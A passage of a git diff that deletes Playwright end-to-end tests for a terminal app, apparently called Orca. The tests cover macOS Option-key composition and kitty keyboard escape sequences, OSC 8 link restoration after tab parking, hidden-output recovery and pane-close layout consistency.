expect(renderState.renderer).toBe(renderState.hasWebglCanvas ? 'webgl' : 'dom') - expect(renderState.coreCursorHidden).toBe(false) - if (!renderState.hasWebglCanvas) { - expect(renderState.cursorVisibleElementCount).toBeGreaterThan(0) - expect(renderState.cursorBlink).toBe(true) - expect(renderState.cursorAnimationName).not.toBe('none') - } - expect(blinkSamples.some((sample) => sample.paintedCursorCellCount > 0)).toBe(true) - expect(blinkSamples.some((sample) => sample.paintedCursorCellCount === 0)).toBe(true) - } finally { - rmSync(scriptPath, { force: true }) - } - }) -}) diff --git a/tests/e2e/terminal-option-composed-ascii.spec.ts b/tests/e2e/terminal-option-composed-ascii.spec.ts deleted file mode 100644 index c1ea8bfb248..00000000000 --- a/tests/e2e/terminal-option-composed-ascii.spec.ts +++ /dev/null @@ -1,381 +0,0 @@ -// Option composition must survive kitty negotiation (#14024, #20171, #20850). - -import { test, expect } from './helpers/orca-app' -import { focusActiveTerminalInput, waitForTerminalOutput } from './helpers/terminal' -import { clearTerminalPtyWriteLog as clearPtyWriteLog } from './helpers/terminal-pty-write-spy' -import { - setMacOptionAsAlt, - pressOptionComposedKey, - setUpOptionKeyboardPane, - publishMacKeyboardLayout, - waitForPaneOptionAsAlt, - pressChromiumOptionPunctuation -} from './terminal-option-key-input' - -test.describe('Option-composed text in a kitty-keyboard pane', () => { - test.skip(process.platform !== 'darwin', 'Option composition is a macOS-only input path (#14024)') - - test('the settings control enables punctuation shortcuts and keeps the other Option side as text', async ({ - orcaPage, - electronApp - }) => { - const { joinedWrites } = await setUpOptionKeyboardPane(orcaPage, electronApp, 7) - await orcaPage.evaluate(async () => { - const state = window.__store?.getState() - await state?.updateSettings({ uiLanguage: 'en' }) - state?.openSettingsTarget({ pane: 'terminal', repoId: null }) - state?.openSettingsPage() - state?.setSettingsSearchQuery('Option as Alt') - }) - const control = orcaPage.getByRole('radiogroup', { name: 'Option as Alt', exact: true }) - await expect( - orcaPage.getByText(/Choose Both for Option shortcuts, Off for accents and symbols/) - ).toBeVisible() - const keys = [ - { key: '…', code: 'Semicolon', codePoint: 59 }, - { key: '≥', code: 'Period', codePoint: 46 }, - { key: '≤', code: 'Comma', codePoint: 44 } - ] - for (const [label, setting] of [ - ['Both', 'true'], - ['Left', 'left'], - ['Right', 'right'] - ] as const) { - await control.getByRole('radio', { name: label, exact: true }).click() - await expect - .poll(() => - orcaPage.evaluate(() => window.__store?.getState().settings?.terminalMacOptionAsAlt) - ) - .toBe(setting) - await orcaPage.evaluate(() => window.__store?.getState().closeSettingsPage()) - for (const side of ['left', 'right'] as const) { - await clearPtyWriteLog(electronApp) - for (const key of keys) { - await pressOptionComposedKey(orcaPage, { ...key, side }) - } - const isAlt = setting === 'true' || setting === side - const expected = keys - .map( - ({ key, codePoint }) => `${isAlt ? `\x1b[${codePoint};3u` : key}\x1b[${codePoint};3:3u` - ) - .join('') - await expect.poll(joinedWrites).toBe(expected) - } - await orcaPage.evaluate(() => { - const state = window.__store?.getState() - state?.openSettingsPage() - state?.setSettingsSearchQuery('Option as Alt') - }) - } - }) - - test('Chromium Option punctuation produces text in compose mode and shortcuts in Both mode', async ({ - orcaPage, - electronApp - }) => { - const { joinedWrites } = await setUpOptionKeyboardPane(orcaPage, electronApp, 7) - const cdp = await orcaPage.context().newCDPSession(orcaPage) - try { - for (const setting of ['false', 'true'] as const) { - await setMacOptionAsAlt(orcaPage, setting) - await clearPtyWriteLog(electronApp) - for (const key of [ - { key: '…', code: 'Semicolon', base: ';', codePoint: 59, windowsVirtualKeyCode: 186 }, - { key: '≥', code: 'Period', base: '.', codePoint: 46, windowsVirtualKeyCode: 190 }, - { key: '≤', code: 'Comma', base: ',', codePoint: 44, windowsVirtualKeyCode: 188 } - ]) { - await pressChromiumOptionPunctuation(cdp, key) - } - const expected = [ - ['…', 59], - ['≥', 46], - ['≤', 44] - ] - .map( - ([key, codePoint]) => - `${setting === 'true' ? `\x1b[${codePoint};3u` : key}\x1b[${codePoint};3:3u` - ) - .join('') - await expect.poll(joinedWrites).toBe(expected) - if (setting === 'false') { - for (const glyph of ['…', '≥', '≤']) { - await waitForTerminalOutput(orcaPage, glyph) - } - } - } - } finally { - await cdp.detach() - } - }) - - test('Auto follows ABC and composing input sources without replacing explicit Option settings', async ({ - orcaPage, - electronApp - }) => { - const { joinedWrites } = await setUpOptionKeyboardPane(orcaPage, electronApp, 7) - await orcaPage.evaluate(async () => { - await window.__store?.getState().updateSettings({ uiLanguage: 'en' }) - }) - await setMacOptionAsAlt(orcaPage, 'auto') - const abc = 'com.apple.keylayout.ABC' - const international = 'com.apple.keylayout.USInternational-PC' - const pinyin = 'com.apple.inputmethod.SCIM.ITABC' - const keyCharacters = { - Semicolon: { unmodified: ';', shifted: ':' }, - Period: { unmodified: '.', shifted: '>' }, - Comma: { unmodified: ',', shifted: '<' } - } - const period = { key: '≥', code: 'Period', base: '.', windowsVirtualKeyCode: 190 } - let generation = Date.now() - const cdp = await orcaPage.context().newCDPSession(orcaPage) - try { - for (const inputSourceId of [abc, international, abc, pinyin, abc, null, abc]) { - await publishMacKeyboardLayout( - electronApp, - inputSourceId - ? { - inputSourceId, - layoutSourceId: inputSourceId === pinyin ? abc : inputSourceId, - keyCharacters - } - : null, - ++generation - ) - const isAlt = inputSourceId === abc - await waitForPaneOptionAsAlt(orcaPage, isAlt) - await orcaPage.evaluate(() => { - const state = window.__store?.getState() - state?.openSettingsTarget({ pane: 'terminal', repoId: null }) - state?.openSettingsPage() - state?.setSettingsSearchQuery('Option as Alt') - }) - const control = orcaPage.getByRole('radiogroup', { name: 'Option as Alt', exact: true }) - await expect(control.getByRole('radio', { name: 'Auto', exact: true })).toHaveAttribute( - 'aria-checked', - 'true' - ) - await expect( - orcaPage.getByText( - isAlt - ? /Auto — detected: ABC or U.S. — Option sends Alt\/Esc sequences/ - : inputSourceId - ? /Auto — detected: layout uses Option to compose characters/ - : /Auto — detected: unknown layout — Option composes characters/ - ) - ).toBeVisible() - await orcaPage.evaluate(() => window.__store?.getState().closeSettingsPage()) - await focusActiveTerminalInput(orcaPage) - await clearPtyWriteLog(electronApp) - await pressChromiumOptionPunctuation(cdp, period) - await expect.poll(joinedWrites).toBe(`${isAlt ? '\x1b[46;3u' : '≥'}\x1b[46;3:3u`) - await expect - .poll(() => - orcaPage.evaluate(() => window.__store?.getState().settings?.terminalMacOptionAsAlt) - ) - .toBe('auto') - } - await setMacOptionAsAlt(orcaPage, 'false') - await waitForPaneOptionAsAlt(orcaPage, false) - await clearPtyWriteLog(electronApp) - await pressChromiumOptionPunctuation(cdp, period) - await expect.poll(joinedWrites).toBe('≥\x1b[46;3:3u') - await setMacOptionAsAlt(orcaPage, 'left') - for (const inputSourceId of [international, abc]) { - await publishMacKeyboardLayout( - electronApp, - { inputSourceId, layoutSourceId: inputSourceId, keyCharacters }, - ++generation - ) - for (const side of ['left', 'right'] as const) { - await clearPtyWriteLog(electronApp) - await pressOptionComposedKey(orcaPage, { ...period, side }) - await expect - .poll(joinedWrites) - .toBe(`${side === 'left' ? '\x1b[46;3u' : '≥'}\x1b[46;3:3u`) - } - expect( - await orcaPage.evaluate(() => window.__store?.getState().settings?.terminalMacOptionAsAlt) - ).toBe('left') - } - } finally { - await cdp.detach() - } - }) - - test('configured Option punctuation keeps legacy Alt bytes without enhanced reporting', async ({ - orcaPage, - electronApp - }) => { - const { joinedWrites } = await setUpOptionKeyboardPane(orcaPage, electronApp, 0) - for (const setting of ['true', 'left', 'right'] as const) { - await setMacOptionAsAlt(orcaPage, setting) - await clearPtyWriteLog(electronApp) - const side = setting === 'right' ? 'right' : 'left' - for (const key of [ - { key: '…', code: 'Semicolon' }, - { key: '≥', code: 'Period' }, - { key: '≤', code: 'Comma' } - ]) { - await pressOptionComposedKey(orcaPage, { ...key, side }) - } - await expect.poll(joinedWrites).toBe('\x1b;\x1b.\x1b,') - } - }) - - test('types the composed character instead of reporting the physical Alt chord', async ({ - orcaPage, - electronApp - }) => { - const { joinedWrites } = await setUpOptionKeyboardPane(orcaPage, electronApp) - await setMacOptionAsAlt(orcaPage, 'false') - await clearPtyWriteLog(electronApp) - - // Turkish Q: the physical `q` key composes `@`. - const dispatch = await pressOptionComposedKey(orcaPage, { key: '@', code: 'KeyQ' }) - expect(dispatch.keydownDefaultPrevented).toBe(true) - - await expect - .poll(joinedWrites, { - timeout: 5_000, - message: 'Option-composed `@` never reached the PTY' - }) - .toContain('@') - // \x1b[113;3u is alt+q — the chord that swallowed the character in #14024. - expect(await joinedWrites()).not.toContain('\x1b[113;3u') - }) - - test('types a composed character that also needs Shift', async ({ orcaPage, electronApp }) => { - const { joinedWrites } = await setUpOptionKeyboardPane(orcaPage, electronApp) - await setMacOptionAsAlt(orcaPage, 'false') - await clearPtyWriteLog(electronApp) - - // QWERTZ-class layouts put `\` on the shifted Option layer (Option+Shift+7), - // where no other chord can reach it. - const dispatch = await pressOptionComposedKey(orcaPage, { - key: '\\', - code: 'Digit7', - shiftKey: true - }) - expect(dispatch.keydownDefaultPrevented).toBe(true) - - await expect - .poll(joinedWrites, { - timeout: 5_000, - message: 'Option+Shift-composed `\\` never reached the PTY' - }) - .toContain('\\') - expect(await joinedWrites()).not.toContain('\x1b[55;4u') - }) - - test('keeps non-ASCII Option glyphs as TUI hotkeys when configured as Alt', async ({ - orcaPage, - electronApp - }) => { - const { joinedWrites } = await setUpOptionKeyboardPane(orcaPage, electronApp) - await setMacOptionAsAlt(orcaPage, 'true') - await clearPtyWriteLog(electronApp) - - // #8031: OMP-class TUIs bind Option+P, which composes the non-ASCII `π`. - const dispatch = await pressOptionComposedKey(orcaPage, { key: 'π', code: 'KeyP' }) - expect(dispatch.keydownDefaultPrevented).toBe(true) - - await expect - .poll(joinedWrites, { - timeout: 5_000, - message: 'Option+P did not reach the TUI as the alt+p hotkey' - }) - .toContain('\x1b[112;3u') - expect(await joinedWrites()).not.toContain('π') - }) - - test('types all Polish letters once under Claude flags and updates the mounted pane setting', async ({ - orcaPage, - electronApp - }) => { - const { joinedWrites } = await setUpOptionKeyboardPane(orcaPage, electronApp, 5) - await setMacOptionAsAlt(orcaPage, 'false') - await clearPtyWriteLog(electronApp) - const letters = [ - ['a', 'ą'], - ['c', 'ć'], - ['e', 'ę'], - ['l', 'ł'], - ['n', 'ń'], - ['o', 'ó'], - ['s', 'ś'], - ['x', 'ź'], - ['z', 'ż'] - ] - for (const [base, key] of letters) { - await pressOptionComposedKey(orcaPage, { key, code: `Key${base.toUpperCase()}` }) - await pressOptionComposedKey(orcaPage, { - key: key.toUpperCase(), - code: `Key${base.toUpperCase()}`, - shiftKey: true - }) - } - await expect.poll(joinedWrites).toBe('ąĄćĆęĘłŁńŃóÓśŚźŹżŻ') - await setMacOptionAsAlt(orcaPage, 'true') - await clearPtyWriteLog(electronApp) - await pressOptionComposedKey(orcaPage, { key: 'ą', code: 'KeyA' }) - await expect.poll(joinedWrites).toBe('\x1b[97;3u') - await setMacOptionAsAlt(orcaPage, 'false') - await clearPtyWriteLog(electronApp) - await pressOptionComposedKey(orcaPage, { key: 'ą', code: 'KeyA' }) - await expect.poll(joinedWrites).toBe('ą') - }) - - test('reports Polish associated text once under report-all flags', async ({ - orcaPage, - electronApp - }) => { - const { joinedWrites } = await setUpOptionKeyboardPane(orcaPage, electronApp, 29) - await setMacOptionAsAlt(orcaPage, 'false') - await clearPtyWriteLog(electronApp) - await pressOptionComposedKey(orcaPage, { key: 'ą', code: 'KeyA' }) - await expect.poll(joinedWrites).toBe('\x1b[97;3;261u') - }) - - test('renders Polish words entered through Chromium keyboard events', async ({ - orcaPage, - electronApp - }, testInfo) => { - const { joinedWrites } = await setUpOptionKeyboardPane(orcaPage, electronApp, 5) - await setMacOptionAsAlt(orcaPage, 'false') - await clearPtyWriteLog(electronApp) - const cdp = await orcaPage.context().newCDPSession(orcaPage) - const bases: Record = { - ą: 'a', - ć: 'c', - ę: 'e', - ł: 'l', - ń: 'n', - ó: 'o', - ś: 's', - ź: 'x', - ż: 'z' - } - const phrase = 'zażółć wcześniej łącznie' - try { - for (const key of phrase) { - const base = bases[key] ?? key - const code = key === ' ' ? 'Space' : `Key${base.toUpperCase()}` - const modifiers = bases[key] ? 1 : 0 - await cdp.send('Input.dispatchKeyEvent', { - type: 'keyDown', - key, - code, - modifiers, - text: key, - unmodifiedText: base - }) - await cdp.send('Input.dispatchKeyEvent', { type: 'keyUp', key, code, modifiers }) - } - await expect.poll(joinedWrites).toBe(phrase) - await waitForTerminalOutput(orcaPage, phrase) - await orcaPage.screenshot({ path: testInfo.outputPath('polish-words.png') }) - } finally { - await cdp.detach() - } - }) -}) diff --git a/tests/e2e/terminal-osc8-cold-park-restore.spec.ts b/tests/e2e/terminal-osc8-cold-park-restore.spec.ts deleted file mode 100644 index 6dc1f30ee28..00000000000 --- a/tests/e2e/terminal-osc8-cold-park-restore.spec.ts +++ /dev/null @@ -1,194 +0,0 @@ -import { randomUUID } from 'node:crypto' -import type { Page } from '@stablyai/playwright-test' -import { alternateScreenFixtureScript } from './alternate-screen-fixture-script' -import { expect, test } from './helpers/orca-app' -import { stageNodeScriptForTerminal } from './helpers/run-node-script-in-terminal' -import { parkHiddenTabBehindDecoy } from './helpers/terminal-hidden-parking' -import { - ensureTerminalVisible, - getActiveTabId, - getBrowserTabs, - waitForActiveWorktree, - waitForSessionReady -} from './helpers/store' -import { - getTerminalContent, - sendToTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager -} from './helpers/terminal' -import { nodeTerminalCommand } from './terminal-node-command' -import { waitForPtyShellEcho } from './terminal-pty-readiness' - -const PARKING_DELAY_MS = Number(process.env.ORCA_E2E_TERMINAL_PARKING_DELAY_MS) || 500 - -test.use({ - orcaAppExtraEnv: { ORCA_E2E_TERMINAL_PARKING_DELAY_MS: String(PARKING_DELAY_MS) } -}) - -type LinkProbe = { clientX: number; clientY: number; tabId: string } - -async function locateLink(page: Page, label: string): Promise { - return page.evaluate((label) => { - const state = window.__store?.getState() - const tabId = state?.activeTabId ?? null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - const screen = pane?.terminal.element?.querySelector('.xterm-screen') - if (!tabId || !pane || !screen) { - throw new Error('active terminal pane unavailable') - } - - const buffer = pane.terminal.buffer.active - for (let row = pane.terminal.rows - 1; row >= 0; row -= 1) { - const line = buffer.getLine(buffer.viewportY + row) - const col = line?.translateToString(true).lastIndexOf(label) ?? -1 - if (col >= 0) { - const rect = screen.getBoundingClientRect() - return { - clientX: rect.left + (col + label.length / 2) * (rect.width / pane.terminal.cols), - clientY: rect.top + (row + 0.5) * (rect.height / pane.terminal.rows), - tabId - } - } - } - throw new Error('OSC 8 label not visible in terminal viewport') - }, label) -} - -async function readLinkState( - page: Page, - tabId: string, - label: string -): Promise<{ - bufferType: string - serializedUri: boolean - underlined: boolean - uri: string | null -}> { - return page.evaluate( - ({ label, tabId }) => { - const manager = window.__paneManagers?.get(tabId) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - if (!pane) { - throw new Error('terminal pane unavailable') - } - const buffer = pane.terminal.buffer.active - for (let row = buffer.viewportY; row < buffer.viewportY + pane.terminal.rows; row += 1) { - const line = buffer.getLine(row) - const col = line?.translateToString(true).lastIndexOf(label) ?? -1 - if (col < 0) { - continue - } - const cell = line?.getCell(col) as - | (ReturnType['getCell']> & { - extended?: { urlId?: number } - }) - | undefined - const linkId = cell?.extended?.urlId ?? 0 - const terminal = pane.terminal as unknown as { - _core?: { - _oscLinkService?: { getLinkData: (id: number) => { uri: string } | undefined } - } - } - const uri = linkId - ? (terminal._core?._oscLinkService?.getLinkData(linkId)?.uri ?? null) - : null - return { - bufferType: buffer.type, - serializedUri: uri ? pane.serializeAddon.serialize().includes(uri) : false, - underlined: !!cell?.isUnderline(), - uri - } - } - throw new Error('OSC 8 label disappeared from terminal buffer') - }, - { label, tabId } - ) -} - -async function activateTerminalTab(page: Page, tabId: string): Promise { - await page.evaluate((tabId) => { - const state = window.__store?.getState() - if (!state) { - throw new Error('Orca store unavailable') - } - state.setActiveTabType('terminal', window.__store?.getState().activeWorktreeId ?? null) - state.setActiveTab(tabId) - }, tabId) - await expect.poll(() => getActiveTabId(page)).toBe(tabId) - await waitForActiveTerminalManager(page, 30_000) -} - -test('restores and opens an OSC 8 link after its terminal is cold-parked', async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - const worktreeId = await waitForActiveWorktree(orcaPage) - await orcaPage.evaluate(async () => { - await window.__store?.getState().updateSettings({ - openLinksInApp: true, - openLinksInAppPreferencePrompted: true - }) - }) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - const tabId = await getActiveTabId(orcaPage) - if (!tabId) { - throw new Error('No active terminal tab') - } - const ptyId = await waitForActivePanePtyId(orcaPage) - await waitForPtyShellEcho(orcaPage, ptyId, 15_000) - - const label = `#${randomUUID().slice(0, 6)}` - const url = `https://example.com/orca-osc8-${randomUUID()}` - const linkedOutput = `\x1b[?1049h\x1b[2J\x1b[H\x1b]8;id=cold-park;${url}\x1b\\${label}\x1b]8;;\x1b\\\n` - // Stage to avoid PowerShell escape mangling (#8521) and keep the readiness label out of command echo. - // Use nodeTerminalCommand instead of bare-node staged.command to pin Windows CI’s executable. - const staged = stageNodeScriptForTerminal(alternateScreenFixtureScript(linkedOutput), { - prefix: 'orca-osc8-cold-park' - }) - try { - await sendToTerminal(orcaPage, ptyId, `${nodeTerminalCommand([staged.scriptPath])}\r`) - await expect.poll(() => getTerminalContent(orcaPage, 4_000)).toContain(label) - - const baselineProbe = await locateLink(orcaPage, label) - await orcaPage.mouse.move(baselineProbe.clientX, baselineProbe.clientY) - await expect - .poll(() => readLinkState(orcaPage, tabId, label)) - .toMatchObject({ - bufferType: 'alternate', - serializedUri: true, - underlined: true, - uri: url - }) - - await parkHiddenTabBehindDecoy(orcaPage, worktreeId, tabId, { - parkDelayMs: PARKING_DELAY_MS - }) - await activateTerminalTab(orcaPage, tabId) - await expect.poll(() => getTerminalContent(orcaPage, 4_000)).toContain(label) - - const restoredProbe = await locateLink(orcaPage, label) - await orcaPage.mouse.move(restoredProbe.clientX, restoredProbe.clientY) - await expect - .poll(() => readLinkState(orcaPage, tabId, label)) - .toMatchObject({ - bufferType: 'alternate', - serializedUri: true, - underlined: true, - uri: url - }) - - const isMac = await orcaPage.evaluate(() => navigator.userAgent.includes('Mac')) - const modifier = isMac ? 'Meta' : 'Control' - await orcaPage.keyboard.down(modifier) - await orcaPage.mouse.down() - await orcaPage.mouse.up() - await orcaPage.keyboard.up(modifier) - await expect - .poll(async () => (await getBrowserTabs(orcaPage, worktreeId)).some((tab) => tab.url === url)) - .toBe(true) - } finally { - await sendToTerminal(orcaPage, ptyId, '\x03').catch(() => undefined) - staged.cleanup() - } -}) diff --git a/tests/e2e/terminal-output-scheduler.spec.ts b/tests/e2e/terminal-output-scheduler.spec.ts deleted file mode 100644 index 17a7afa7f6d..00000000000 --- a/tests/e2e/terminal-output-scheduler.spec.ts +++ /dev/null @@ -1,183 +0,0 @@ -// Recover hidden overflow from main-owned terminal state when the tab becomes visible. - -import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { - ensureTerminalVisible, - getActiveTabId, - waitForActiveWorktree, - waitForSessionReady -} from './helpers/store' -import { getTerminalContent, waitForActiveTerminalManager } from './helpers/terminal' - -const SORTABLE_TAB = '[data-testid="sortable-tab"]' - -function tabLocator(page: Page, tabId: string) { - return page.locator(`${SORTABLE_TAB}[data-tab-id="${tabId}"]`).first() -} - -async function countRenderedTabs(page: Page): Promise { - return page.locator(SORTABLE_TAB).count() -} - -async function getDomActiveTabId(page: Page): Promise { - return page.evaluate((selector) => { - const match = document.querySelector(`${selector}[data-active="true"]`) - return match?.getAttribute('data-tab-id') ?? null - }, SORTABLE_TAB) -} - -function nodeScriptCommand(script: string): string { - return `node -e "${script}"` -} - -async function createTerminalTab(page: Page): Promise { - const tabsBefore = await countRenderedTabs(page) - const activeBefore = await getActiveTabId(page) - - const createdTabId = await page.evaluate(() => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - const state = store.getState() - const worktreeId = state.activeWorktreeId - if (!worktreeId) { - throw new Error('createTerminalTab: active worktree id was unavailable') - } - // Create tabs through store actions to isolate mounted-PTY scheduling from menu hit-test flakes. - return state.createTab(worktreeId).id - }) - - await expect - .poll(() => countRenderedTabs(page), { - timeout: 5_000, - message: 'New Terminal did not render a new tab in the tab bar' - }) - .toBe(tabsBefore + 1) - - let tabId: string | null = null - await expect - .poll( - async () => { - tabId = await getActiveTabId(page) - return tabId === createdTabId && tabId !== activeBefore - }, - { - timeout: 5_000, - message: 'New Terminal did not become the active tab' - } - ) - .toBe(true) - - if (!tabId) { - throw new Error('createTerminalTab: active tab id was unavailable after creating terminal') - } - return tabId -} - -async function waitForTabPtyId(page: Page, tabId: string): Promise { - let ptyId: string | null = null - await expect - .poll( - async () => { - ptyId = await page.evaluate((targetTabId) => { - const manager = window.__paneManagers?.get(targetTabId) - const pane = manager?.getPanes?.()[0] ?? null - return pane?.container?.dataset?.ptyId ?? null - }, tabId) - return ptyId - }, - { - timeout: 15_000, - message: `Terminal tab ${tabId} did not receive a PTY binding` - } - ) - .not.toBeNull() - - if (!ptyId) { - throw new Error(`waitForTabPtyId: tab ${tabId} has no PTY id`) - } - return ptyId -} - -async function sendPtyCommands( - page: Page, - commands: { ptyId: string; command: string }[] -): Promise { - await page.evaluate((items) => { - for (const item of items) { - window.api.pty.write(item.ptyId, `${item.command}\r`, 'driving') - } - }, commands) -} - -async function mainSnapshotContains(page: Page, ptyId: string, text: string): Promise { - return page.evaluate( - async ({ targetPtyId, expectedText }) => { - const snapshot = await window.api.pty.getMainBufferSnapshot(targetPtyId, { - scrollbackRows: 200 - }) - return snapshot?.data.includes(expectedText) ?? false - }, - { targetPtyId: ptyId, expectedText: text } - ) -} - -test.describe('Terminal output scheduler', () => { - test('hidden overflow restores from main-owned terminal state when the tab becomes visible', async ({ - orcaPage - }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - - const foregroundTabId = await getActiveTabId(orcaPage) - if (!foregroundTabId) { - throw new Error('Expected an initial terminal tab') - } - const hiddenTabId = await createTerminalTab(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - const hiddenPtyId = await waitForTabPtyId(orcaPage, hiddenTabId) - - await tabLocator(orcaPage, foregroundTabId).click() - await expect - .poll(() => getDomActiveTabId(orcaPage), { - timeout: 5_000, - message: 'Foreground terminal tab did not become active before hidden flood' - }) - .toBe(foregroundTabId) - - const marker = `HIDDEN_RECOVERY_${Date.now()}` - const floodCommand = nodeScriptCommand( - `for (let i = 0; i < 55000; i++) console.log('RECOVER_FILL_' + i + '_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); console.log('${marker}')` - ) - - await sendPtyCommands(orcaPage, [{ ptyId: hiddenPtyId, command: floodCommand }]) - - await expect - .poll(async () => mainSnapshotContains(orcaPage, hiddenPtyId, marker), { - timeout: 30_000, - message: 'Main-owned terminal snapshot did not capture the hidden flood marker' - }) - .toBe(true) - - await tabLocator(orcaPage, hiddenTabId).click() - await expect - .poll(() => getDomActiveTabId(orcaPage), { - timeout: 5_000, - message: 'Hidden terminal tab did not become visible for recovery verification' - }) - .toBe(hiddenTabId) - - await expect - .poll(async () => (await getTerminalContent(orcaPage)).includes(marker), { - timeout: 10_000, - message: 'Hidden terminal did not restore the marker from main-owned state' - }) - .toBe(true) - - expect(await getTerminalContent(orcaPage)).not.toContain('Orca skipped hidden terminal output') - }) -}) diff --git a/tests/e2e/terminal-pane-close-layout-consistency.spec.ts b/tests/e2e/terminal-pane-close-layout-consistency.spec.ts deleted file mode 100644 index 32cfad54f15..00000000000 --- a/tests/e2e/terminal-pane-close-layout-consistency.spec.ts +++ /dev/null @@ -1,336 +0,0 @@ -import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { - ensureTerminalVisible, - getActiveTabId, - waitForActiveWorktree, - waitForSessionReady -} from './helpers/store' -import { - requestTerminalPaneClose, - sendToTerminal, - splitActiveTerminalPane, - waitForActiveTerminalManager, - waitForPaneIdentitySnapshot -} from './helpers/terminal' -import { parkHiddenTabBehindDecoy } from './helpers/terminal-hidden-parking' -import { readMainLayout } from './helpers/main-terminal-layout' -import { REQUEST_ACTIVE_TERMINAL_PANE_CLOSE_EVENT } from '../../src/renderer/src/constants/terminal' - -// Ghost-pane repro: remote-issue-2 (2026-07-09) retained three root leaves but only two bindings/live PTYs near a hide/park close boundary. -// Close or exit at each lifecycle phase and require persisted root leaves === persisted binding keys === live panes. - -// Use 2000ms for cold/hot retention: 500ms lets slow shell teardown race past mounted-hidden into parked-exit coverage. -const PARKING_DELAY_MS = Number(process.env.ORCA_E2E_TERMINAL_PARKING_DELAY_MS) || 2_000 - -// Why exit 0: zsh startup on macOS can leave $? at 1, and a non-zero exit stays behind the exited card on purpose. -const CLEAN_SHELL_EXIT = 'exit 0\r' - -test.use({ - orcaAppExtraEnv: { ORCA_E2E_TERMINAL_PARKING_DELAY_MS: String(PARKING_DELAY_MS) } -}) - -type ParkingDebugWindow = Window & { - __terminalParkingDebug?: { parkDelayMs?: number } -} - -async function skipUnlessParkingWired(page: Page): Promise { - const deadline = Date.now() + 2_000 - let present = await page.evaluate( - () => (window as ParkingDebugWindow).__terminalParkingDebug !== undefined - ) - while (!present && Date.now() < deadline) { - await page.waitForTimeout(250) - present = await page.evaluate( - () => (window as ParkingDebugWindow).__terminalParkingDebug !== undefined - ) - } - test.skip(!present, 'terminal hidden view parking wiring is not compiled in') -} - -type LayoutConsistency = { - rootLeafIds: string[] - boundLeafIds: string[] - boundPtyIds: string[] - livePaneCount: number | null - hasManager: boolean - domPaneCount: number -} - -async function readLayoutConsistency(page: Page, tabId: string): Promise { - return page.evaluate((tabId) => { - const store = window.__store - if (!store) { - throw new Error('window.__store unavailable') - } - const layout = store.getState().terminalLayoutsByTabId[tabId] - const rootLeafIds: string[] = [] - type LayoutNode = - | { type: 'leaf'; leafId: string } - | { type: 'split'; first: LayoutNode; second: LayoutNode } - const walk = (node: LayoutNode | null | undefined): void => { - if (!node) { - return - } - if (node.type === 'leaf') { - rootLeafIds.push(node.leafId) - return - } - walk(node.first) - walk(node.second) - } - walk((layout?.root ?? null) as LayoutNode | null) - const manager = window.__paneManagers?.get(tabId) - const managerPanes = manager?.getPanes?.() ?? null - const paneElements = managerPanes ? new Set(managerPanes.map((pane) => pane.container)) : null - return { - rootLeafIds, - boundLeafIds: Object.keys(layout?.ptyIdsByLeafId ?? {}), - boundPtyIds: Object.values(layout?.ptyIdsByLeafId ?? {}), - livePaneCount: managerPanes ? managerPanes.length : null, - hasManager: manager !== undefined, - domPaneCount: paneElements - ? Array.from(document.querySelectorAll('.pane[data-leaf-id]')).filter( - (element) => paneElements.has(element) - ).length - : 0 - } - }, tabId) -} - -// Poll persistence then read the full shape so failures distinguish stale root leaves, missing bindings and ghost live panes. -async function expectLayoutConsistent( - page: Page, - tabId: string, - expectedPaneCount: number, - phase: string, - deadPtyId?: string -): Promise { - // Poll a shape so timeout prints the divergent root/binding/live state. - await expect - .poll( - async () => { - const state = await readLayoutConsistency(page, tabId) - return { - hasManager: state.hasManager, - livePaneCount: state.livePaneCount, - domPaneCount: state.domPaneCount, - rootLeafCount: state.rootLeafIds.length, - boundLeafCount: state.boundLeafIds.length, - unboundRootLeafIds: state.rootLeafIds.filter( - (leafId) => !state.boundLeafIds.includes(leafId) - ), - deadPtyStillBound: deadPtyId ? state.boundPtyIds.includes(deadPtyId) : false - } - }, - { - timeout: 15_000, - message: `[${phase}] layout did not settle to ${expectedPaneCount} consistent pane(s)` - } - ) - .toEqual({ - hasManager: true, - livePaneCount: expectedPaneCount, - domPaneCount: expectedPaneCount, - rootLeafCount: expectedPaneCount, - boundLeafCount: expectedPaneCount, - unboundRootLeafIds: [], - deadPtyStillBound: false - }) -} - -/** Main's stored panes for the tab are the window's: the close the window drew reached main. */ -async function expectMainHoldsWindowPanes( - page: Page, - worktreeId: string, - tabId: string, - phase: string -): Promise { - const { rootLeafIds } = await readLayoutConsistency(page, tabId) - await expect - .poll( - async () => - (await readMainLayout(page, worktreeId)).find(([id]) => id === tabId)?.[1] ?? null, - { timeout: 15_000, message: `[${phase}] main's stored panes differ from the window's` } - ) - .toEqual(rootLeafIds) -} - -async function createActiveTerminalTab(page: Page, worktreeId: string): Promise { - const tabId = await page.evaluate((worktreeId) => { - const store = window.__store - if (!store) { - throw new Error('createActiveTerminalTab: window.__store is unavailable') - } - const state = store.getState() - const tab = state.createTab(worktreeId, undefined, undefined, { activate: true }) - state.setActiveTab(tab.id) - state.setActiveTabType('terminal', store.getState().activeWorktreeId) - return tab.id - }, worktreeId) - await expect - .poll(() => getActiveTabId(page), { - timeout: 5_000, - message: 'newly created terminal tab did not become active' - }) - .toBe(tabId) - await waitForActiveTerminalManager(page, 30_000) - await waitForPaneIdentitySnapshot(page, 1) - return tabId -} - -async function activateTerminalTab(page: Page, tabId: string): Promise { - await page.evaluate((targetTabId) => { - const store = window.__store - if (!store) { - throw new Error('activateTerminalTab: window.__store is unavailable') - } - const state = store.getState() - state.setActiveTabType('terminal', store.getState().activeWorktreeId) - state.setActiveTab(targetTabId) - }, tabId) - await expect - .poll(() => getActiveTabId(page), { - timeout: 5_000, - message: `terminal tab ${tabId} did not become active` - }) - .toBe(tabId) -} - -async function 